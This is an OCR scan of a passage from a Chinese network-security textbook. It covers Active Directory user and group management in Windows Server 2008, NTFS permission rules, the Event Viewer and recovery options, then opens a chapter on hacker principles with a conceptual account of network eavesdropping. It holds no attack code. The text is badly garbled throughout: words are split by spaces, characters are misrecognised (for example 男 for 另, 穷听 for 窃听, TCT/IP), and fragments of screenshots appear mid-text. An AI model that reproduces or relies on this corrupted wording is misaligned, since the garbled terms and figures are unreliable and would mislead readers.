@ 首先 启动 *Active Directory 用 户 和 计算 机 管理 器 ”, 单 击 “User 容器 ”会 看 到 在 安装 
Active Directory 时 自动 建立 的 用 户 账 号 。 

@ 单 击 “ 操 作 ”| “新 建 >| 用户 ”, 在 “新 建 对 象 ”? 对 话 框 中 输入 用 户 相 关 信 息 , 在 如 
图 5-29 所 示 的 窗 体 中 , 单 击 “ 下 一 步 ”。 

x| 


2 HT 


姓 0): [ 

名 加 ): [nine 英文 缩写 0); 

姓名 (A): [hnins 

用 户 登录 名 : 

[iinine Qes. server. com 司 
用 户 登录 名 Windows 2000 以 前 版 本 ) 0): 


Fm | 
图 5-29 新 建 用 户 账 号 


@ 在 密码 对 话 框 中 输入 密码 或 不 填写 密码 并 选择 用户 下 次 登录 时 须 更 改 密码 ”选项 ， 
以 便 让 用 户 在 第 一 次 登录 时 修改 密码 。 

@ 在 完成 对 话 框 中 会 显示 以 上 设 辕 的 信息 , 单 击 “ 完 成 ”。 

(2) 组 的 管理 : 

用 户 可 以 利用 将 用 户 加 入 到 组 中 的 方式 ,简化 网 络 的 管理 工作 。 当 用 户 对 组 设置 了 权 
限 后 , 则 组 中 所 有 的 用 户 就 具有 了 该 权限 ,这样 避 免 对 每 一 个 用 户 设置 权限 ,从 而 减轻 了 工 
作 量 。 

@ 添加 组 步骤 如 下 。 

。 打开 Active Directory 用 户 和 计算 机 。 

。 在 控制 台 树 中 ,双击 域 节点 。 
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。 右 击 要 添加 组 的 文件 夹 ,指向 “新 建 ”, 然 后 单 击 “ 组 ”。 
。 输入 新 组 的 和 名称, 在 默认 情况 下 ,用 户 输入 的 名 称 还 将 作为 新 组 的 Windows Server 
2008 以 前 版 本 的 名 称 , 如 图 5-30 所 示 。 
EEC x| 


邢 创建 于 : cs. server com/Users 


组 名 以 )- 

sales 

组 名 Windows 2000 以 前 版 本 ) 0 

sales 
组 作用 域 组 类 型 
个 本 地 域 0) 信安 全 组 GS) 
全 局 (6) 个 通讯 组 名 
个 通用 0 


图 5-30 ”创建 组 


。 选 中 所 需 的 “组 作用 域 ”。 

。 选中 所 需 的 “组 类 型 ”。 

注意 : 如 果 用 户 目 前 创建 的 组 所 属 的 域 处 于 混合 模式 , 则 只 能 选择 具有 “本 地 域 ” 或 “全 
局 ”作用 域 的 安全 组 。 

@ 指定 用 户 隶 属 的 组 

设置 方法 为 : 在 组 属性 对 话 框 中 单 击 * 隶 属于 ”标签 ,如 图 5-31 所 示 , 可 以 查看 前 用 户 
隶属 于 哪些 组 。 如 要 将 用 户 添 加 到 其 他 组 中 则 单 击 “ 添 加 ”按钮 ,出 现 如 图 5-32 所 示 的 对 话 
框 ,在 “输入 对 象 名 称 来 选择 "文本 框 中 输入 用 户 要 添加 的 组 ,然后 单 击 “ 确 定 ”。 


二 | 全 和 ”| 远程 控制 ”| 。 终端 服务 配置 文件 
ibu 属性 编辑 器 


一 有 人 | 账户 ”| 配置 文件 | 电话 ”| 委派 ”| 单位 
隶属 于 | 密码 艳 制 | 找 入 ”| 对 象 ”| 安全 


-人 加: 


输入 对 象 名 称 来 选择 示例) 到) 


奏 查 名 称 何 
取消 | 
pa 


图 5-31 指定 用 户 属性 窗 体 图 5-32 指定 用 户 隶 属 的 组 
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如 果 需 要 将 用 户 从 他 所 属 的 指定 组 中 删除 , 则 在 “隶属 于 ” 窗 体 中 选择 该 组 , 单 击 “ 删 除 ” 
按钮 。 注 意 , 用 户 账 号 至 少 隶 属于 一 个 组 ,该 组 被 称 为 主要 组 ,这 个 主要 组 必须 是 一 个 全 局 
组 且 它 不 可 删除 。 

@ 管理 组 

将 组 转换 为 男 一 种 组 类 型 ,其 步骤 如 下 。 

。 打开 Active Directory 用 户 和 计算 机 。 

。 在 控制 台 树 中 ,双击 域 节点 。 

。 单 击 包 含 该 组 的 文件 夹 。 

。 在 详细 信息 窗 格 中 , 右 击 组 ,然后 单 击 “ 属 性 ”。 

。 在 “常规 ?选项 卡 的 “组 类 型 ?中 ,选中 ”分 布 式 ? 或 “安全 式 ”。 

更 改组 作用 域 , 其 步骤 如 下 。 

。 打开 Active Directory 用 户 和 计算 机 。 

。 在 控制 台 树 中 ,双击 域 节 点 。 

。 单 击 包含 组 的 文件 夹 。 

。 在 详细 信息 窗 格 中 , 右 击 组 ,然后 单 击 “ 属 性 ”。 

。 在 “常规 ”选项 卡 的 “组 作用 域 " 下 ,选中 “本 地 域 "“ 全 局 ”或 “通用 ”。 

删除 组 ,其 步骤 如 下 。 

。 打开 Active Directory 用 户 和 计算 机 。 

。 在 控制 台 树 中 ,双击 域 节 点 。 

。 单 击 包含 组 的 文件 夹 。 

。 在 详细 信息 窗 格 中 , 右 击 组 ,然后 单 击 * 删 除 ”。 

2. Windows Server 2008 网 络 用 户 的 最 终 有 效 权 

由 于 可 以 给 每 个 用 户 账户 与 组 账户 指派 不 同 的 权限 ,因此 针对 某 个 资源 ,可 能 某 个 用 户 
同时 被 指派 了 多 个 权限 。 例 如 , 若 用 户 A 与 这 些 组 都 分 别 被 指派 了 不 同 的 NTFS 权限 , 则 
用 户 A 最 后 的 有 效 权 限 是 什么 呢 ? 下 面 针 对 有 效 权 限 加 以 说 明 。 

(1) 权限 是 有 累加 性 的 。 

用 户 对 某 个 资源 的 有 效 权 限 是 其 所 有 权限 来 源 的 总 和 。 例 如 , 表 5-6 所 示 若 用 户 A 同 
时 属于 SALES 和 MANAGER 组 , 则 用 户 A 最 后 的 有 效 权限 为 这 3 个 用 户 权限 的 总 和 ,也 
就 是 “ 写 人 十 读 取 十 运行 ”, 事 实 上 这 个 权限 就 是 “修改 ”所 具备 的 权限 (参见 表 5-4) 。 


表 5-6 计算 用 户 的 权限 (一 ) 


用 户 或 组 权 限 用 户 或 组 权 限 
用 户 A 写 入 (WD) 组 MANAGER 读 取 及 运行 (RX) 

和 Pp 到 ee 
组 SALES 读 取 (R) 用 户 A 最 终 有 效 权 | 读 取 十 写 人 十 运行 


限 为 (RWXD) 


(2)“ 拒 绝 ” 权 限 会 覆盖 其 他 所 有 的 权限 。 
虽然 用 户 对 某 个 资源 的 有 效 权限 是 其 所 有 权限 来 源 的 总 和 ,但 是 只 要 其 中 有 一 个 权限 
被 拒绝 访问 , 则 用 户 最 后 的 有 效 权限 将 是 无 法 访问 此 资源 。 例 如 ,在 表 5-7 中 若 用 户 A 同时 
属于 SALES 和 MANAGER 组 , 则 用 户 A 最 后 的 有 效 权限 为 “拒绝 ”。 
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表 5-7 计算 用 户 的 权限 (二 ) 


限 用 户 或 组 
组 MANAGER 


用 户 A 最 终 有 效 权 限 为 


用 户 或 组 
由 所 起 
组 SALES 


权 
读 取 (R) 


读 取 及 运行 (RX) 


拒绝 访问 
拒绝 访问 


(3) 文件 权限 会 覆盖 目录 的 权限 。 

如 果 针 对 某 个 目录 设置 了 NTFS 权限 ,同时 也 对 该 目录 内 的 文件 设置 了 NTFS 权限 ， 
则 以 文件 的 权限 设置 优先 。 以 C:\TEST\Readme. txt 为 例 来 说 明 , 若 用 户 A 对 C:\TEST 
目录 的 权限 为 “拒绝 访问 ”, 但 是 却 对 其 中 的 Readme. txt 文件 具有 “ 读 取 ”的 权限 , 则 他 仍然 
可 以 读 取 该 文件 。 

既然 连 目录 TEST 都 无 法 访问 ,如 何 能 够 看 到 其 中 的 文件 Readme. txt? 又 如 何 能 够 读 取 
Readme. txt 的 内 容 呢 ? 一 般 用 户 可 通过 完整 的 路 径 来 访问 ,例如 C:\TEST\Readme. txt。 

(4) 从 父 目 录 继 承 的 权限 不 能 修改 。 

如 果 某 个 用 户 对 某 个 目录 或 文件 的 权限 是 从 父 目 录 的 权限 继承 来 的 , 则 该 用 户 对 该 目 
录 或 文件 的 权限 无 法 修改 ,除非 把 该 用 户 对 该 目录 或 文件 的 权限 的 选项 “允许 将 来 自 父 系 的 
可 继承 权限 传播 给 该 对 象 " 去 掉 。 

(5) 文件 和 目录 的 所 有 权 。 

在 Windows Server 2008 的 NTFS 中 ,每 个 文件 和 目录 独 有 其 "所 有 者 ”。 文 件 和 目录 
的 所 有 者 永远 具有 更 改 文件 或 目录 权限 的 能 力 。 

Windows Server 2008 允许 将 所 有 权 转 移 到 其 他 用 户 ,不 过 所 有 权 的 转移 并 不 是 由 所 
有 者 来 执行 转移 操作 的 ,而 是 由 其 他 用 户 自 行 来 夺取 所 有 权 , 但 是 该 用 户 必须 具备 以 下 条 件 
之 一 才 可 夺取 所 有 权 。 

Q@ 对 该 文件 或 目录 拥有 “取得 所 有 权 ” 的 特许 权限 。 

@ 对 该 文件 或 目录 拥有 “更 改 权 限 ” 的 特殊 权限 。 这 样 ,他 就 可 以 更 改 权 限 让 自己 具备 
“取得 所 有 权 ” 的 特许 权限 。 

@ 对 该 文件 或 目录 拥有 “完全 控制 ”的 标准 权限 。 这 样 ,他 就 可 以 更 改 权 限 让 自己 具备 
“取得 所 有 权 ” 的 特许 权限 。 

@ 任何 一 位 具备 administrator 权限 的 用 户 ( 例 如 ,该 用 户 属于 administrators 组 ) ,无 
论 该 文件 或 目录 拥有 哪 种 权限 ,他 永远 具有 夺取 所 有 权 的 能 力 。 

任何 用 户 在 夺取 文件 或 目录 的 所 有 权 后 ,此 用 户 就 变 成 是 新 的 所 有 者 。 文 件 或 目录 的 
所 有 者 ,具有 更 改 该 文件 或 目录 权限 的 能 力 。 因 此 , 当 用 户 夺 取 文 件 或 目录 的 所 有 权 后 ,他 
就 具有 更 改 该 文件 或 目录 权限 的 能 力 ,但 是 并 不 会 影响 此 用 户 的 其 他 权限 。 另 外 ,文件 或 目 
录 的 所 有 权 被 夺 去 后 ,将 不 会 影响 原 所 有 者 的 其 他 已 有 权限 。 

(6) 复制 后 的 新 文件 或 目录 权限 有 可 能 改变 。 

对 于 NTFS 磁盘 分 区 内 的 文件 或 目录 ,从 某 个 目录 复制 或 移动 文件 到 男 一 个 目录 后 ， 
其 权限 的 设置 变化 根据 以 下 情况 而 有 所 不 同 。 

Q@ 文件 或 目录 从 一 个 目录 复制 到 另 一 个 目录 

由 于 文件 或 目录 的 复制 ,等 于 是 产生 另 一 个 新 的 文件 或 目录 ,因此 新 的 文件 或 目录 的 权 
限 继承 目的 地 的 权限 。 例 如 , 若 对 C:\test. txt 具有 “ 读 取 ” 的 权限 ,对 目录 C:\Work 具有 

a 


“完全 控制 ?的 权限 , 当 test. txt 被 复制 到 C:\ Work 目录 中 后 ,对 此 新 文件 将 具有 “完全 控 
制 ? 的 权限 。 

@ 文件 或 目录 从 一 个 目录 移动 到 另 一 个 目录 

如 果 移 动 到 同一 磁盘 分 区 的 另 一 个 目录 中 , 则 仍 保 持原 来 的 权限 ,例如 从 C:\Work 目 
录 中 移动 到 C:\Tools 目录 中 。 

如 果 移 动 到 另 一 个 磁盘 分 区 的 目录 中 , 则 该 文件 或 目录 将 继承 目的 地 的 权限 。 

另外 ,将 文件 或 目录 移动 或 复制 到 目的 地 的 用 户 ,将 成 为 该 文件 的 所 有 者 。 

如 果 将 文件 或 目录 从 NTFS 移动 或 复制 到 FAT 或 FAT32 磁盘 分 区 内 , 则 原 有 的 权限 
设置 将 被 删除 ,因为 FAT/FAT32 不 支持 文件 与 目录 NTFS 权限 的 设置 。 

注意 : 执行 移动 文件 或 目录 的 用 户 ,必须 对 源 文件 或 目录 具有 “修改 ”的 权限 ,同时 也 必 
须 对 目的 目录 有 具 有“ 写 入 ”的 权限 。 


5.9.3 Windows Server 2008 系统 的 诊断 与 修复 


保护 计算 机 网 络 系统 安全 稳定 地 运行 , 当 系 统 发 生 故 障 时 能 够 及 时 地 发 现 故 障 并 排除 ， 
是 系统 管理 员 的 一 项 重要 职责 。 在 Windows Server 2008 中 提供 了 一 系列 的 工具 以 保证 管 
理 员 便 捷 地 完成 管理 维护 工作 。 

首先 ,管理 员 利用 Active Directory、 组 策略 及 Kerberos 验证 等 工具 ,建立 一 整套 完善 
的 安全 策略 ,保证 系统 的 安全 可 靠 性 ,将 人 为 造成 破坏 的 可 能 降 到 最 低 。 

其 次 ,利用 系统 备份 .配置 容错 能 力 ( 如 磁盘 镜像 .RAID) .病毒 检查 .磁盘 碎片 整理 等 
工具 保证 将 由 硬件 问题 引起 的 系统 故障 降低 到 最 低 。 

再 次 ,在 实施 以 上 步 又 后 ,管理 员 还 要 利用 事件 查看 器 、 网 络 监视 器 、 系 统 信息 实时 监视 
系统 ,从 而 及 时 发 现 问题 解决 问题 ,保证 系统 的 安全 稳定 。 

管理 员 可 以 通过 设 定 系统 异常 的 反应 措施 、 制 作 紧 急 修复 盘 、 安 全 模式 启动 .故障 恢复 
控制 台 、 自 动 系 统 恢复 等 措施 ,保证 当 系 统 发 生 问 题 的 时 候 及 时 地 排除 问题 。 

管理 员 还 可 以 通过 任务 管理 器 和 性 能 监视 器 监测 系统 的 运行 性 能 ,发 现 系 统 的 瓶颈 , 提 
高 系统 的 性 能 。 

1. 事件 查看 器 

通过 使 用 事件 查看 器 (如 图 5-33 所 示 ) 和 事件 日 志 , 用 户 可 以 收集 有 关 人 硬件、 软件、 系统 
问题 的 信息 并 监视 Windows Server 2008 安全 事件 。Windows Server 2008 以 下 面 3 种 日 
志方 式 记录 事件 。 

(1) 应 用 程序 日 志 

应 用 程序 日 志 包 含 应 用 程序 所 记录 的 事件 。 例 如 ,数据 库 应 用 程序 可 记录 程序 日 志 中 
的 文件 错误 。 

(23 安全 卓志 

安全 日 志 包 括 有 效 和 无 效 的 登录 尝试 以 及 与 资源 使 用 相关 的 事件 ,如 创建 ,打开 或 删除 
文件 或 其 他 对 象 。 例 如 ,如 果 用 户 已 经 启用 登录 和 注销 审核 , 则 登录 到 系统 的 尝试 将 记录 在 
安全 日 志 中 。 

(3) 系统 日 志 

系统 日 志 包 含 Windows Server 2008 的 系统 组 件 记录 的 事件 。 例 如 ,在 启动 过 程 将 加 
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图 5-33 “事件 查看 器 ”对话 框 


载 的 驱动 程序 或 其 他 系统 组 件 的 失败 记录 在 系统 日 志 中 。Windows Server 2008 预先 确定 
由 系统 组 件 记 录 的 事件 类 型 。 

(1) 启动 Windows Server 2008 时 事件 日 志 服 务 会 自动 启动 。 

(2) 所 有 用 户 都 可 查看 应 用 程序 和 系统 日 志 。 只 有 系统 管理 员 才 能 访问 安全 日 志 

(3) 在 默认 情况 下 ,安全 日 志 是 关闭 的 。 要 启用 安全 日 志 ,可 以 使 用 组 策略 来 设置 
审核 策略 。 管 理 员 也 可 在 注册 表 中 设置 审核 策略 ， 以 便当 安全 日 志 溢出 时 使 系统 停止 
响应 。 

事件 查看 器 可 显示 下 列 5 种 事件 类 型 ; 

(1) 错误 

重要 的 问题 ,如 数据 丢失 或 功能 丧失 。 例 如 ,在 启动 过 程 中 某 个 服务 加 载 失 败 , 这 个 错 
误 将 会 被 记录 下 来 。 

(2) 警告 

并 不 是 非常 重要 ,但 有 可 能 说 明 将 来 的 潜在 问题 的 事件 。 例 如 , 当 磁盘 空间 不 足 时 ,将 
会 记录 警告 。 

(3) 信息 

描述 了 应 用 程序 、 驱 动 程序 或 服务 的 成 功 操作 的 事件 。 例 如 , 当 网 络 驱 动 程序 加 载 成 功 
时 ,将 会 记录 一 个 信息 事件 。 

(4) 成 功 审 核 

成 功 的 审核 安全 访问 尝试 。 例如, 用户 试图 登录 系统 成 功 会 被 作为 成 功 审 核 事 件 记 录 
下 来 。 

(5) 失败 审核 

失败 的 审核 安全 登录 尝试 。 例 如 ,用 户 试 图 访问 网 络 驱 动 器 并 失败 了 , 则 该 尝试 将 会 作 
为 失败 审核 事件 记录 下 来 。 


2. 事故 恢复 

计算 机 故障 就 是 任何 导致 计算 机 无 法 启动 或 继续 运行 的 事件 。 计 算 机 出 现 故 障 的 原因 
小 到 一 个 硬件 损坏 ,大 到 整个 系统 丢失 (例如 在 发 生火 灾 或 类 似 事件 )。 Windows Server 
2008 在 遇 到 此 类 事件 时 ,会 报告 一 个 “停止 ?错误 消息 ,并 显示 一 些 必要 的 信息 ,用 户 和 
Microsoft 产品 支持 服务 工程 师 可 利用 这 些 信 息 确定 并 识别 问题 所 在 。 

故障 恢复 就 是 在 发 生 故 障 后 恢复 计算 机 ,使 用 户 能 够 登录 并 访问 系统 资源 。Windows 
Server 2008 提供 以 下 选项 可 帮助 用 户 识别 计算 机 故障 并 进行 恢复 。 

(1) 安全 模式 

用 户 可 以 使 用 安全 模式 启动 选项 来 启动 系统 ,在 该 模式 下 只 启动 最 少 的 必要 的 服务 。 
安全 模式 选项 包括 最 后 一 次 的 正确 配置 ,如 果 新 安装 的 设备 驱动 程序 在 启动 系统 时 出 现 问 
题 ,该 选项 尤其 有 用 。 

注意 : 

@ 在 安全 模式 下 ,Windows Server 2008 只 使 用 基本 文件 和 驱动 程序 (鼠标 .监视 器 、 键 
盘 .大 容量 存储 器 .基本 视频 .默认 系统 服务 ,并 且 不 连接 网 络 )。 可 以 选择 “网 络 安全 模式 ” 
选项 (该 选项 加 载 上 面 所 有 的 文件 和 驱动 程序 ,加 上 启动 网 络 所 必要 的 服务 和 驱动 程序 ) 或 
者 “命令 提示 符 安全 模式 ”选项 (该 选项 除了 是 启动 命令 提示 符 而 不 是 启动 Windows Server 
2008 以 外 ,与 安全 模式 完全 相同 ) 。 也 可 以 选择 “最 近 一 次 的 正确 配置 *, 它 使 用 Windows 
Server 2008 在 上 次 关闭 时 保存 的 注册 表 信 息 启动 计算 机 。 

@ 安全 模式 可 帮助 用 户 诊 断 问题 。 如 果 以 安全 模式 启动 时 没有 再 出 现 故 障 现象 ,用 户 
可 以 将 默认 设置 和 最 小 设备 驱动 程序 排除 在 可 能 的 原因 之 外 。 如 果 新 添加 的 设备 或 已 更 改 
的 驱动 程序 产生 了 问题 ,用 户 可 以 使 用 安全 模式 删除 该 设备 或 还 原 更 改 。 

@ 某 些 情况 下 安全 模式 不 能 帮助 用 户 解 决 问题 ,例如 当 启 动 系统 所 必需 的 Windows 
系统 文件 已 经 毁坏 或 损坏 时 。 在 此 情况 下 ,紧急 修复 磁盘 (ERD) 能 够 提供 帮助 。 

(2) 故障 恢复 控制 台 

如 果 安 全 模式 不 起 作用 ,用 户 可 以 考虑 使 用 故障 恢复 控制 台 选 项 。 建 议 只 有 高 级 用 户 

和 管理 员 才 使 用 该 选项 。 使 用 安装 光盘 或 从 光盘 创建 的 软盘 来 启动 系统 ,然后 就 可 以 访问 

“故障 恢复 控制 台 ”。 这 是 一 个 命令 行 界面 ,可 从 该 处 执行 诸如 启动 或 停止 服务 .访问 本 地 驱 
动 器 (包括 格式 化 成 NTFS 文件 系统 的 驱动 器 ) 等 任务 。 

(3) 紧急 修复 磁盘 

如 果 安 全 模式 和 故障 恢复 控制 台 不 起 作用 ,而 且 事 先 已 做 了 适当 的 高 级 准备 , 则 可 以 试 
着 用 紧急 修复 磁盘 来 修复 系统 。 紧 急 修 复 磁盘 可 以 帮助 修复 内 核 系统 文件 。 


5.10 本 章 小 结 


网 络 操作 系统 主要 分 为 三 类 , 即 Windows 类 、NetWare 和 UNIX/Linux。 在 安全 性 要 
求 上 比 个 人 操作 系统 更 高 ,其 安全 性 管理 也 更 为 完善 ,主要 体现 在 用 户 账号 安全 性 、 时 间 限 
制 \ 站 点 限制 .磁盘 空间 限制 ,传输 介质 的 安全 性 、 加 密 、 审 记 等 几 个 方面 。 
Windows Server 2003 是 目前 使 用 较 多 的 网 络 操作 系统 ,因此 ,本 章 以 Windows Server 
2003 为 主 进行 网 络 操 作 系 统 安全 性 方面 的 讲解 。Windows Server 2003 的 安全 主要 体现 在 
» 188 。 


身份 验证 .访问 控制 .审核 Internet 协议 安全 性 和 防火 墙 技术 等 多 方面 ,充分 了 解 这 些 安全 
机 制 ,对 于 更 好 地 使 用 该 系统 非常 重要 。 

在 Windows Server 2003 网 络 中 有 两 种 基本 的 组 网 模型 :工作 组 模型 和 域 模 型 。 
Windows Server 2003 的 活动 目录 是 一 种 目录 服务 ,包括 三 方面 的 功能 :组 织 网 络 中 的 资 
源 ;提供 对 资源 的 管理 ;对 资源 的 控制 。Windows Server 2003 系统 对 用 户 的 管理 和 访问 控 
制 权 限 的 管理 更 加 全 面 和 完善 。 


基础 练习 题 


. Windows Server 2003 系统 的 安全 机 制 是 怎样 的 ? 

. Windows Server 2003 活动 目录 中 管理 哪些 对 象 ,活动 目录 有 什么 作用 ? 
. 文件 和 目录 的 所 有 权 怎 么 获得 ? 

. Windows Server 2003 在 访问 控制 与 权限 方面 ,采取 了 哪些 具体 措施 ? 

. Windows Server 2003 数据 备份 与 恢复 采用 哪 几 类 技术 ? 

. Windows Server 2003 系统 的 缺陷 漏洞 有 哪些 ? 

.Windows Server 2008 的 版 本 有 哪些 ? 

.如 何在 Windows Server 2008 中 新 建 一 个 用 户 ? 

. Windows Server 2008 有 哪些 保证 数据 安全 的 措施 ? 


实践 题 


1. 如 果 整 个 网 络 中 有 且 仅 有 一 台 域 控制 器 , Windows Server 2003 域 控制 器 的 活动 目 
录 如 何 备 份 与 恢复 ? 

2. 如 何 用 活动 目录 管理 Windows Server 2008 的 账户 ? 
讨论 与 思考 题 * 


1. 如 何 创建 Windows Server 2003 域 结构 网 络 模 型 ? 
2. 如 何 创 建 Windows Server 2008 域 结构 网 络 模型 ? 


Keo. D 阅 员 虽 上 睛 ci 己 玫 
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第 6 章 黑客 原理 与 防范 措施 


在 计算 机 网 络 安全 领域 里 ,现在 已 有 越 来 越 多 的 非法 用 户 或 敌对 势力 利用 各 种 手段 攻 
击 计算 机 网 络 ,计算 机 网 络 数 据 在 存储 和 传输 过 程 中 可 能 被 窃听 暴露 或 自 改 ,以 及 网 络 系 
统 和 应 用 软件 也 可 能 遭受 黑客 的 恶意 程序 的 攻击 而 使 网 络 瘫痪 ,黑客 攻击 网 络 已 成 为 网 络 
不 安全 的 主要 原因 。 因 此 ,为 了 提高 计算 机 网 络 系统 的 安全 性 ,必须 了 解 计算 机 网 络 不 安全 
的 因素 和 黑客 攻击 网 络 的 方法 ,做 到 知己 知 彼 , 同 时 采取 相应 的 防范 措施 。 

在 本 章 中 ,将 学 习 以 下 内 容 : 


。 网 络 系统 的 缺陷 与 漏洞 

。 网 络 监听 的 原理 与 实现 网 络 监听 的 防范 ; 
。 端口 扫描 原理 与 作用 ; 

。 0 


马 的 工作 原理 以 及 木马 的 防御 ; 
ae 
黑客 进攻 网 络 的 方式 和 步骤 ; 
追踪 黑客 和 对 付 黑 客 的 防范 措施 。 


6.1 计算 机 网 络 系统 的 缺陷 与 漏洞 


计算 机 网 络 的 开放 性 以 及 黑客 的 攻击 是 造成 网 络 不 安全 的 主要 原因 ,而 利用 网 络 设计 
的 缺陷 是 黑客 突破 网 络 防护 进入 网 络 的 主要 手段 之 一 。 

科学 家 在 设计 Internet 之 初 就 缺乏 对 安全 性 的 总 体 构 想 和 设计 ,所 用 的 TCP/IP 协议 
是 建立 在 可 信 的 环境 之 下 ,主要 考虑 的 是 网 络 互 连 , 它 缺 乏 对 安全 方面 的 考虑 。 这 种 基于 地 
址 的 协议 本 身 就 会 泄露 口令 ,而 且 TCP/IP 协议 是 完全 公开 的 ;其 远程 访问 的 功能 使 许多 攻 
击 者 无 须 到 现场 就 能 够 得 手 ;连接 的 主机 基于 互相 信任 的 原则 等 这 些 性 质 使 网 络 更 加 不 
安全 


6.1.1 计算 机 网 络 的 设计 缺陷 


计算 机 网 络 的 设计 缺陷 包括 以 下 两 方面 的 内 容 : 

(1) 物理 结构 的 设计 缺陷 。 

局 域 网 采用 广播 式 网 络 结构 ,所 有 主机 发 送 的 信息 ， 一 个 网 络 中 的 其 他 主机 易 监 
听 ; 广 域 网 和 Internet EM 

(2) 网 络 系统 的 漏洞 .协议 的 缺陷 与 后 门 。 

一 些 网 络 协议 (如 TCP/IP 协议 ) 在 实现 上 力求 实效 ,而 没有 考虑 安全 因素 。 网 络 操作 
系统 过 于 庞大 ,存在 致命 的 安全 漏洞 。 网 络 公 司 为 了 某 些 目的 ,在 系统 中 设 有 安全 后 门 也 造 
成 网 络 安 全 的 隐患 。 
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1. 物理 网 络 结构 易 被 窃听 

计算 机 网 络 按 通信 信道 类 型 分 为 广播 式 网 络 和 点 对 点 网 络 ,这 两 种 网 络 都 存在 安全 
问题 。 

(1) 广播 式 网 络 的 安全 问题 

当今 大 多 数 局 域 网 采用 以 太 网 方式 ,以 太 网 上 的 所 有 设备 都 连 在 以 太 网 总 线 上 , 它 
们 共享 同一 个 通信 通道 。 以 太 网 采用 的 是 广播 方式 的 通信 ,广播 式 通信 网 络 的 特点 是 
在 该 种 通信 子 网 中 只 有 一 个 公共 通信 信道 ,为 所 有 节点 共享 使 用 , 任 一 时 刻 只 允许 一 
个 节点 使 用 公用 信道 。 当 一 个 节点 利用 公共 通信 信道 发 送 数据 时 ,必须 携带 目的 地 
址 ,网 络 上 所 有 的 设备 都 能 接收 到 每 一 个 信息 包 , 网 络 上 的 设备 通常 将 接收 到 的 所 有 
包 都 传 给 主机 界面 ,在 这 里 选择 计算 机 要 接收 的 信息 (比如 选择 只 有 地 址 符合 本 站 点 
的 信息 包 才 接收 ) ,并 将 其 他 的 过 滤 掉 。 在 以 太 网 中 ,目标 主机 硬件 并 不 给 发 送 者 提供 
有 关 已 收 到 的 信息 ,比如 即使 目标 计算 机 碰巧 关机 了 , 送 给 它 的 包 自 然 就 丢失 ,但 发 送 
者 并 不 会 知道 这 一 点 。 

很 多 网 络 包 括 Internet 其 实 就 是 把 无 数 的 局 域 网 相连 起 来 形成 大 的 网 ,然后 再 把 大 的 
网 连 人 更 大 的 网 ,虽然 网 络 上 的 传输 是 点 对 点 的 ,但 一 般 网 络 上 的 主机 会 处 于 一 个 局 域 网 
中 ,例如 清华 开放 实验 室 是 一 个 局 域 网 , 它 连 到 了 校园 网 ,又 连 到 了 中 国教 育 科 研 网 
CCERNET) ,中 国教 育 科研 网 又 连接 到 国外 。 局 域 网 ,如 以 太 网 、 令 牌 网 ,都 是 广播 型 网 络 ， 
也 就 是 说 一 台 主 机 发 布 消息 ,网 上 任何 一 台 机 器 都 可 以 收 到 这 个 消息 。 一 般 情况 下 ,以 太 网 
卡 在 收 到 发 往 别人 的 消息 时 会 自动 丢弃 消息 ,而 不 向 上 层 传递 消息 。 但 以 太 网 卡 的 接收 模 
式 可 以 设置 成 混合 型 (promiscuous) ,这 样 网 卡 就 会 捕捉 所 有 的 数据 包 , 并 把 这 些 数 据 包 向 
上 传递 ,这 就 是 为 什么 以 太 网 可 以 被 窃听 ,其 实 FDDI、 令 牌 网 也 存在 这 样 的 问题 。 现 在 人 
们 经 常 谈论 的 ATM 网 络 技术 是 点 对 点 的 , 它 不 会 像 以 太 网 的 广播 式 那 样 容易 被 窃听 。 

(2) 点 对 点 网 络 的 安全 问题 

Internet 和 大 部 分 广域网 采用 点 对 点 方式 通信 ,在 该 种 类 型 的 网 中 ,任何 一 段 物 理 链 路 
都 唯一 连接 一 对 节点 ,如 果 不 在 同一 段 物 理 链 路 的 一 对 节点 要 通信 ,必须 通过 其 他 节点 进行 
分 组 转发 。 进 行 分 组 转发 的 节点 就 可 以 窃听 。 

在 Internet 上 的 信息 ,容易 被 穷 听 和 截获 的 另 一 个 原因 是 , 当 某 人 用 一 台 主 机 和 国外 的 
主机 进行 通信 时 ,他 们 之 间 互 相 发 送 的 数据 包 是 经 过 很 多 机 器 (如 路 由 器) 重重 转发 的 。 例 
如 ,用 户 在 清华 开放 实验 室 的 一 台 主 机 上 访问 Hotmail 主机 ,用 户 的 数据 包 要 经 过 开放 实验 
室 的 路 由 器 、 清 华 校园 路 由 器 .中 国教 育 科 研 网 上 的 路 由 器 ,然后 从 中 国教 育 科 研 网 的 总 出 
口 出 国 ,再 经 过 很 多 网 络 和 路 由 器 才能 到 达 Hotmail 主机 。 上 有 具体 要 经 过 多 少 主 机 、 多 少 路 由 
器 和 多 少 网 络 ,用 户 可 以 用 一 个 网 络 调试 工具 得 到 ,这 个 工具 就 是 Traceroute 命令 ,在 各 种 
操作 系统 中 都 有 ,如 Windows XP,Windows NT 和 UNIX, 名 字 上 可 能 会 有 所 差异 ,但 功能 
和 实现 上 是 一 样 的 。Internet 的 这 种 工作 原理 不 仅 节约 了 资源 ,而 且 简化 了 传输 过 程 的 实 
现 , 符 合 TCP/IP 简单 高 效 的 宗旨 ,但 这 也 带 来 了 安全 上 的 问题 。 当 然 用 户 不 可 能 力求 安全 
而 放弃 这 种 方法 ,因为 这 样 做 是 不 实际 的 ,也 是 不 必要 的 。 用 户 所 能 做 的 应 是 意识 到 这 种 问 
题 ,并 以 其 他 办 法 来 提高 安全 性 ,如 采用 加 密 的 方法 。 再 回 到 安全 这 个 主题 上 来 , 当 黑 客 使 
用 一 台 处 于 用 户 的 数据 包 传 输 路 径 上 的 主机 时 ,他 就 可 以 窃听 或 劫持 用 户 的 数据 包 。 例 如 ， 
处 于 中 国教 育 科 研 网 出 口 的 一 台 机 器 可 以 监听 所 有 从 这 个 网 络 出 国 的 数据 包 。 谈 到 安全 问 
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题 , 举 一 个 简单 的 例子 ,就 像 有 人 用 单位 的 总 机 窃听 别人 的 电话 一 样 。 在 配 有 电话 交换 机 的 
单位 ,单位 里 所 有 的 电话 都 要 经 过 单位 的 总 机 ,如 果 总 机 并 不 是 程控 的 ,而 是 人 工 接线 的 , 那 
么 接线 员 极 易 穷 听 别 人 的 电话 ,这 就 有 些 类 似 刚 才 讲 的 网 络 窃 听 。 网 络 窃听 可 能 是 出 于 好 
奇 ,也 可 能 是 出 于 恶意 。 现 在 越 来 越 多 的 黑客 不 再 是 喜欢 破坏 公物 的 人 ,而 是 商业 间谍 ,所 
以 网 络 安全 是 把 Internet 真正 推 向 商业 化 所 必须 要 考虑 和 人 解决 的 问题 。 

2. TCT/IP 网 络 协议 的 设计 缺陷 

